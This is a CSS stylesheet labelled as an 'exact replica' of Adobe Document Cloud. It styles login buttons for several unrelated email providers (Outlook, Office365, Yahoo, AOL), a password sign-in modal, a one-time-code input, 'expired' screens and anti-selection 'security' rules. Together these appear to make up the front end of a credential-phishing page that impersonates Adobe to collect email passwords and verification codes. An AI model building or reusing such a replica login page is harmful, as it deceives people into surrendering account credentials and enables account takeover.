/* Adobe Document Cloud - Exact Replica Styles */

/* Base Setup */
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
    background: white;
    overflow-x: hidden;
    user-select: none;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    -webkit-touch-callout: none;
    -webkit-tap-highlight-color: transparent;
}

/* Allow text selection in form inputs */
input, textarea, button {
    user-select: text;
    -webkit-user-select: text;
    -moz-user-select: text;
    -ms-user-select: text;
}

/* Utility Classes */
.min-h-screen { min-height: 100vh; }
.relative { position: relative; }
.absolute { position: absolute; }
.flex { display: flex; }
.items-center { align-items: center; }
.justify-center { justify-content: center; }
.text-center { text-align: center; }
.w-full { width: 100%; }
.h-full { height: 100%; }
.overflow-hidden { overflow: hidden; }
.px-4 { padding-left: 1rem; padding-right: 1rem; }
.py-8 { padding-top: 2rem; padding-bottom: 2rem; }
.mb-4 { margin-bottom: 1rem; }
.mb-6 { margin-bottom: 1.5rem; }
.mb-10 { margin-bottom: 2.5rem; }
.mt-2 { margin-top: 0.5rem; }
.space-y-4 > :not([hidden]) ~ :not([hidden]) { margin-top: 1rem; }
.space-x-4 > :not([hidden]) ~ :not([hidden]) { margin-left: 1rem; }
.mx-auto { margin-left: auto; margin-right: auto; }
.max-w-md { max-width: 28rem; }
.w-20 { width: 5rem; }
.h-20 { height: 5rem; }
.w-16 { width: 4rem; }
.h-16 { height: 4rem; }
.w-10 { width: 2.5rem; }
.h-10 { height: 2.5rem; }
.rounded-2xl { border-radius: 1rem; }
.shadow-lg { box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05); }
.bg-white { background-color: white; }
.border { border-width: 1px; }
.border-gray-200 { border-color: #e5e7eb; }
.border-gray-300 { border-color: #d1d5db; }
.border-t { border-top-width: 1px; }
.object-contain { object-fit: contain; }
.text-2xl { font-size: 1.5rem; line-height: 2rem; }
.text-sm { font-size: 0.875rem; line-height: 1.25rem; }
.text-xs { font-size: 0.75rem; line-height: 1rem; }
.font-light { font-weight: 300; }
.font-medium { font-weight: 500; }
.tracking-wide { letter-spacing: 0.025em; }
.leading-relaxed { line-height: 1.625; }
.text-gray-800 { color: #1f2937; }
.text-gray-600 { color: #4b5563; }
.text-gray-500 { color: #6b7280; }
.text-gray-400 { color: #9ca3af; }
.text-blue-600 { color: #2563eb; }
.text-blue-800 { color: #1e40af; }
.hover\:text-blue-800:hover { color: #1e40af; }
.underline { text-decoration: underline; }
.pt-4 { padding-top: 1rem; }
.z-10 { z-index: 10; }
.inset-0 { top: 0; right: 0; bottom: 0; left: 0; }
.opacity-30 { opacity: 0.3; }
.bg-opacity-80 { background-color: rgba(255, 255, 255, 0.8); }

/* Background Pattern */
.bg-pattern {
    background-image: radial-gradient(circle, #f0f0f0 1px, transparent 1px);
    background-size: 30px 30px;
}

.bg-gradient-to-br {
    background-image: linear-gradient(to bottom right, var(--tw-gradient-stops));
}

.from-gray-50 {
    --tw-gradient-from: #f9fafb;
    --tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to, rgba(249, 250, 251, 0));
}

.to-white {
    --tw-gradient-to: #ffffff;
}

.backdrop-blur-\[1px\] {
    backdrop-filter: blur(1px);
}

/* Provider Buttons */
.provider-btn {
    width: 100%;
    height: 3rem;
    display: flex;
    align-items: center;
    justify-content: flex-start;
    padding: 0 1rem;
    border: none;
    border-radius: 0.5rem;
    cursor: pointer;
    font-size: 0.875rem;
    font-weight: 500;
    transition: all 0.2s ease;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
    text-decoration: none;
    color: white;
}

.provider-btn:hover {
    transform: translateY(-1px);
    box-shadow: 0 6px 12px rgba(0, 0, 0, 0.15);
}

.provider-icon {
    width: 1.5rem;
    height: 1.5rem;
    margin-right: 0.75rem;
    object-fit: contain;
    flex-shrink: 0;
}

.outlook-btn { background-color: #0078d4; }
.outlook-btn:hover { background-color: #106ebe; }
.office365-btn { background-color: #d83b01; }
.office365-btn:hover { background-color: #c43e00; }
.yahoo-btn { background-color: #410093; }
.yahoo-btn:hover { background-color: #350077; }
.aol-btn { background-color: #1c1c1c; }
.aol-btn:hover { background-color: #2c2c2c; }
.other-btn { background-color: #4a90e2; }
.other-btn:hover { background-color: #357abd; }

/* Modal System - Exact match to your screenshot */
.modal-overlay {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1000;
    align-items: center;
    justify-content: center;
}

.modal-overlay.active {
    display: flex;
}

.modal-backdrop {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.4);
    backdrop-filter: blur(2px);
}

.modal-container {
    position: relative;
    background: white;
    border-radius: 12px;
    padding: 2rem;
    width: 90%;
    max-width: 480px;
    box-shadow: 0 25px 50px rgba(0, 0, 0, 0.15);
    z-index: 1001;
}

/* Modal Header - Provider Icon and Title */
.modal-header {
    text-align: left;
    margin-bottom: 1.5rem;
}

.provider-icon-container {
    display: flex;
    align-items: center;
    margin-bottom: 1rem;
}

.modal-provider-icon {
    width: 2rem;
    height: 2rem;
    margin-right: 0.75rem;
    object-fit: contain;
}

.modal-title {
    color: #374151;
    font-size: 1.5rem;
    font-weight: 600;
    margin: 0;
}

.otp-subtitle {
    color: #6b7280;
    font-size: 0.875rem;
    margin-top: 0.5rem;
    margin-bottom: 0;
}

/* Sign-In Form */
.signin-form {
    margin-bottom: 1.5rem;
}

.form-group {
    margin-bottom: 1rem;
}

.form-label {
    display: block;
    color: #374151;
    font-size: 0.875rem;
    font-weight: 500;
    margin-bottom: 0.5rem;
}

.form-input {
    width: 100%;
    padding: 0.75rem;
    border: 1px solid #d1d5db;
    border-radius: 0.375rem;
    font-size: 0.875rem;
    transition: border-color 0.2s ease, box-shadow 0.2s ease;
    background: white;
}

.form-input:focus {
    outline: none;
    border-color: #2563eb;
    box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
}

.otp-input {
    text-align: center;
    font-size: 1.25rem;
    letter-spacing: 0.25rem;
    font-weight: 600;
}

.signin-button {
    width: 100%;
    padding: 0.75rem;
    background: #4285f4;
    color: white;
    border: none;
    border-radius: 0.375rem;
    font-size: 0.875rem;
    font-weight: 600;
    cursor: pointer;
    transition: background-color 0.2s ease;
}

.signin-button:hover {
    background: #3367d6;
}

/* Modal Footer */
.modal-footer {
    text-align: center;
    border-top: 1px solid #e5e7eb;
    padding-top: 1rem;
}

.forgot-password {
    color: #2563eb;
    font-size: 0.875rem;
    text-decoration: none;
    display: block;
    margin-bottom: 0.5rem;
}

.forgot-password:hover {
    text-decoration: underline;
}

.create-account {
    color: #6b7280;
    font-size: 0.75rem;
    margin: 0;
}

.create-link {
    color: #2563eb;
    text-decoration: none;
}

.create-link:hover {
    text-decoration: underline;
}

/* Error Message */
.error-message {
    color: #dc2626;
    font-size: 0.875rem;
    margin-top: 0.5rem;
    display: none;
    background: #fef2f2;
    border: 1px solid #fecaca;
    padding: 0.5rem;
    border-radius: 0.375rem;
}

.error-message.active {
    display: block;
}

/* Loading States */
.loading-container {
    text-align: center;
    max-width: 300px;
}

.loading-spinner {
    width: 2rem;
    height: 2rem;
    border: 3px solid #f3f4f6;
    border-top: 3px solid #2563eb;
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin: 0 auto 1rem;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.loading-text {
    color: #6b7280;
    font-size: 0.875rem;
    margin: 0;
}

/* Expired Modal */
.expired-container {
    text-align: center;
    max-width: 500px;
}

.expired-icon {
    width: 5rem;
    height: 5rem;
    margin: 0 auto 2rem;
    background: linear-gradient(135deg, #fef2f2, #fee2e2);
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    border: 4px solid #fecaca;
}

.expired-title {
    font-size: 2rem;
    font-weight: 700;
    color: #111827;
    margin-bottom: 0.5rem;
}

.expired-subtitle {
    font-size: 1.125rem;
    font-weight: 600;
    color: #374151;
    margin-bottom: 1.5rem;
}

.expired-text {
    color: #6b7280;
    line-height: 1.6;
    margin-bottom: 2rem;
}

.return-button {
    width: 100%;
    background: linear-gradient(135deg, #2563eb, #1d4ed8);
    color: white;
    font-weight: 600;
    padding: 1rem 2rem;
    border: none;
    border-radius: 0.75rem;
    cursor: pointer;
    font-size: 0.875rem;
    transition: all 0.2s ease;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.return-button:hover {
    transform: translateY(-1px);
    box-shadow: 0 6px 12px rgba(0, 0, 0, 0.15);
}

.expired-help {
    margin-top: 1.5rem;
    padding-top: 1.5rem;
    border-top: 1px solid #e5e7eb;
}

.help-title {
    font-size: 0.875rem;
    font-weight: 500;
    color: #374151;
    margin-bottom: 0.5rem;
}

.help-text {
    font-size: 0.875rem;
    color: #6b7280;
    line-height: 1.5;
    margin: 0;
}

/* Security Features */
body {
    -webkit-touch-callout: none;
    -webkit-user-select: none;
    -khtml-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
}

input, button, .signin-button, .provider-btn {
    -webkit-user-select: auto !important;
    -moz-user-select: auto !important;
    -ms-user-select: auto !important;
    user-select: auto !important;
    pointer-events: auto !important;
    -webkit-touch-callout: auto !important;
}

input[type="email"], input[type="password"], input[type="text"] {
    -webkit-user-select: text !important;
    -moz-user-select: text !important;
    -ms-user-select: text !important;
    user-select: text !important;
}

/* Responsive Design */
@media (max-width: 640px) {
    .px-4 { padding-left: 1rem; padding-right: 1rem; }
    .py-8 { padding-top: 1rem; padding-bottom: 1rem; }
    .modal-container { padding: 1.5rem; margin: 1rem; }
    .text-2xl { font-size: 1.25rem; line-height: 1.75rem; }
    .provider-btn { height: 2.75rem; font-size: 0.8125rem; }
}